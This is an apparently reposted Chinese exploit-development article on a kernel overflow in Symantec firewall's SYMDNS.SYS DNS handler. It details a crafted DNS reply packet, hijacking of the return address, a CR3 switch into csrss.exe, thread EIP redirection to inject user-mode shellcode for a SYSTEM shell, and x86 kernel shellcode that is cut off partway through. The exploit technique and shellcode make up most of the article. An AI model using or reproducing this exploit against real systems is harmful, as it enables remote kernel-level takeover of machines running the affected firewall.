分享
 
 
 

SYMANTEC防火墙内核溢出漏洞利用之安全返回

王朝other·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

这个漏洞发生在SYMDNS.SYS中,当处理DNS答复时,由于未检验总域名长度,导致可以输入一超长域名导致溢出,溢出发生在RING0、IRQL = 2(DISPATCH_LEVEL)、 进程PID为0(idle进程)的环境下。

一个DNS报文格式如下:

"\xEB\x0B"

//报文ID,可以随意设置,但在这个漏洞里是别有用途的,后面会说到

"\x80\x00"

//报文FLAG,15位置1表示这是一个答复报文

"\x00\x01"

//问题数量

"\x00\x01"

//答复数量

"\xXX\xXX"

//授权资源记录数,在这里不重要,随便设置

"\xXX\xXX"

//格外信息资源记录数,在这里不重要,随便设置

以上部分为DNS报文头

"\xXX\xXX\x..."

//域名,格式为每个分段域名长度+域名内容,比如www.buaa.edu.cn就是

\x03\x77\x77\x77\x04\x62\x75\x61\x61\x03\x65\x64\x75\x02\x63\x6e\x00

w

w

w

b

u

a

a

e

d

u

c

n

\x00表示到了末尾。处理的时候会把那长度记录数换成0x2e,就是".",就完成了处理。

在SYMDNS.SYS中处理传入域名的函数位于SYMDNS.SYS基地址+0xa76处,这个函数在堆栈里分配了足够的空间(事实上,最后SHELLCODE的执行并不是在堆栈中执行,而是在非分页池中执行)。传入的域名有最大长度限制,不能超过0x40个字节,所以我每段SHELLCODE长度都是0x3f(63)个字节。在覆盖了532个字节后,覆盖了第二个调用的返回地址,至于为什么没覆盖第一个调用的返回地址我也不太清楚。这个漏洞有个特点,就是在堆栈中二次处理传入的域名,导致堆栈中SHELLCODE后半部分面目全非、惨不忍睹。但很幸运的是在我们覆盖的返回地址所在的esp+0xc处保存有我们整个DNS报文(包括DNS报文头)的地址,是一个在非分页池的地址,

74816d74 4c816c9b 816d002e 816c9e34

|_____esp指向这

|_______这个就是非分页池的地址

现在大家应该知道该干啥了吧?虽然在内核里没有固定的jmp [esp+0xc]、 call [esp+0xc]这样的地址,但我们可以变通一下,使用诸如pop/pop/pop/ret这样的指令组合,机器的控制权就交到我们手上了。不过这3条pop指令里最好不要带有pop ebp,不然会莫名其妙的返回到一个奇怪的地址。在strstr函数的最后有两个pop/pop/pop/ret的组合挺合适。现在明白开头那个报文ID的作用了吧?\xEB\x0B是一个直接跳转的机器指令,跳过一开始没用的DNS报文头和第一段SHELLCODE长度计数字节。FLASHSKY在会刊里说要跳过长度计数字节,但0x3f对应的指令是aas,对EAX进行ascii调整,所以在一般不影响EAX和标志的情况下可以把这个0x3f也算作SHELLCODE的一部分,可以省下不少字节^_^。

现在当前环境是0号进程,要把进程地址空间切到其他进程就得先获得那个进程的EPROCESS地址。0号进程很特别,就是该进程基本不挂在所有进程的链表上,比如说ActiveProcessLinks、SessionProcessLinks、WorkingSetExpansionLinks,正常情况来说只能枚举线程的WaitListHead来枚举所有线程并判断进程,这样很麻烦而已代码很长,但天无绝人之路,在KPCR+0x55c(+55c struct _KTHREAD *NpxThread)处保存有一个8号进程的一个线程ETHREAD地址,由ETHREAD+0x44处可以获得该线程所属EPROCESS的地址,而且8号进程是挂在除SessionProcessLinks之外的其它链表上的。下一步是切换进程地址空间,从目标进程EPROCESS+0x18处取出该进程页目录的物理地址并将当前CR3寄存器修改为该值既可(我一开始还修改了任务段KTSS中的CR3也为该值,结果发现这不是必须的)。然后在该进程内选择一个合适的线程来运行我们的用户态SHELLCODE,这个选择很重要,因为当前IRQL = 2,任何访问缺页的地址都将导致IRQL_NOT_LESS_OR_EQUAL蓝屏错误,因为缺页会导致页面I/O,最后会在对象上等待,这违背了不能在IRQL = 2等待对象的规则。按照一个标准的5调度状态模型的操作系统,当一个线程等待过久就会导致该线程的内核堆栈被换出内存,这样的线程我们是不能用的。所以我们需要判断ETHREAD+=0x11e(+11e

byte

KernelStackResident)是否为TRUE。这又关系到究竟该选择哪个系统进程,选择系统进程这样返回的SHELL是SYSTEM的权限,该进程必须是个活跃的进程,才能保证每时每刻都有未被换出内存的线程。winlogon.exe是肯定不行的,因为在大多情况下这是一个0工作集进程。在lsass.exe、smss.exe、csrss.exe这3个进程里我最后选择了csrss.exe,因为WIN32的子系统无论怎样都应该闲不住吧:),事实也证明选择这个进程基本都可以找到合适线程。枚举一个进程的线程可以在EPROCESS+0x50处取链表头,该链表链住了该进程的所有线程,链表位置在ETHREAD+0x1a4处:

struct _EPROCESS (sizeof=648)

+000 struct _KPROCESS Pcb

+050 struct _LIST_ENTRY ThreadListHead

+050 struct _LIST_ENTRY *Flink

+054 struct _LIST_ENTRY *Blink

struct _ETHREAD (sizeof=584)

+000 struct _KTHREAD Tcb

+1a4 struct _LIST_ENTRY ThreadListEntry

+1a4 struct _LIST_ENTRY *Flink

+1a8 struct _LIST_ENTRY *Blink

或者EPROCESS+0x270处取链表头,链表位置在ETHREAD+0x240处:

struct _EPROCESS (sizeof=648)

+270 struct _LIST_ENTRY ThreadListHead

+270 struct _LIST_ENTRY *Flink

+274 struct _LIST_ENTRY *Blink

struct _ETHREAD (sizeof=584)

+240 struct _LIST_ENTRY ThreadListEntry

+240 struct _LIST_ENTRY *Flink

+244 struct _LIST_ENTRY *Blink

剩下的就是在该进程地址空间内分配虚拟地址,锁定,并拷贝SHELLCODE过去,依次调用API为:ZwOpenProcess(这里要注意,如果没改变CR3的话这个调用会导致蓝屏,因为地址空间不符)-ZwAllocateVirtualMemory-ZwLockVirtualMemory-ZwWriteVirtualMemory,为了通用性我用mov eax, API NUMBER; int 2e这样的底层接口来调用API。在调用ZwWriteVirtualMemory之前我们得先修改该线程下次要执行的EIP,它是保存在KTRAP_FRAME+0x68处,把它修改为我们分配的地址。KTRAP_FRAME在线程堆栈底-x29c的地方,ETHREAD+0x128直接指向该地址。记得将原来的EIP保存在我们的用户态SHELLCODE中,类似push 0x12345678; ret这样的格式,代码就会返回12345678的地址,所以在内存中就是\x68\x78\x56\x34\x12\xc3,覆盖那个12345678就行了,在执行完我们的功能代码后线程会恢复正常执行。

最后一段是一些固定的针对该漏洞的特征返回,恢复一些寄存器值,把ESP指向返回地址并让EBP恢复正常。这里我跳过了所有剩下的在SYMDNS.SYS的调用,因为那样会从堆栈中取值,而堆栈值很多都被我们改了,所以我直接返回到tcpip!UDPDeliver处的调用,返回这里有个好处,就是它完全不管你处理了什么、怎么处理,它只管检测返回值,很符合我们的要求,呵呵。

这个SHELLCODE大概只有3/4的成功率,因为在有些情况下我们的DNS报文的地址不附加在esp+0xc处,还有有时会碰到进程所有线程都被换出了内存,还有一定的小概率会发生NDIS死锁-_-有时候RP爆发时一天都没啥问题,有时虚拟机狂蓝屏。。。所以我的利用方法还不很成熟,还希望大家一起来讨论完善。有关内核溢出里最大的问题估计就是缺页的问题了,由于IRQL = 2下不能换页,所以有些情况下很可能有些关键的地方访问不了。一些变通的方法可以使用诸如work item,这可以在IRQL = 2下调用,然后由系统工作者线程来替我们完成工作。这都是些改进设想。搞定了安全返回的方法,现在正在KO非安全返回,估计也不是很难,但就是估计SHELLCODE会大很多。

峰会上由于FLASHSKY大牛不肯透露源代码,所以只好自己动手,丰衣足食了。这段时间由于得复习补考(上学期一不小心挂了4门#_#),所以拖了这么久。其实代码很早就写好了,就是懒得写这篇文档。今早终于下定决心花了一上午完成了这篇文档,估计难免有什么错误,望大家指出。

SHELLCODE由内核SHELLCODE和用户SHELLCODE组成,内核SHELLCODE负责返回并执行用户SHELLCODE,用户SHELLCODE则是普通的功能,注意得加入穿防火墙的代码就行。下面是内核SHELLCODE代码,转成机器码只有260多个字节,基本不算太大:):

__declspec(naked) JustTest()

{

__asm

{

call go1

go1:

pop eax

push eax

mov ebx, 0xffdff55c

mov ebx, dword ptr [ebx]

mov ebx, dword ptr [ebx+0x44]

push 0x73727363

FindProcess:

mov edi, esp

lea esi, dword ptr [ebx+0x1fc]

push 0x4

pop ecx

repe cmpsb

jecxz go2

mov ebx, dword ptr [ebx+0xa0]

sub ebx, 0xa0

jmp FindProcess

go2:

pop edx

mov edx, dword ptr [ebx+0x50]

FindThread:

movzx ecx, byte ptr [edx-0x86]

dec ecx

jecxz go3

mov edx, dword ptr [edx]

jmp FindThread

go3:

mov eax, dword ptr [ebx+0x18]

mov ebp, esp

sub esp, 0x40

push edx

mov cr3, eax

push 0x10

pop ecx

xor eax, eax

lea edi, dword ptr [ebp-0x40]

ZeroStack:

stosd

loop ZeroStack

mov byte ptr [ebp-0x38], 0x18

lea edi, dword ptr [edx+0x3c]

push edi

lea edi, dword ptr [ebp-0x38]

push edi

lea edi, dword ptr [ebp-0x8]

push 0x1f0fff

push edi

mov al, 0x6a

lea edx, dword ptr [esp]

int 0x2e

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有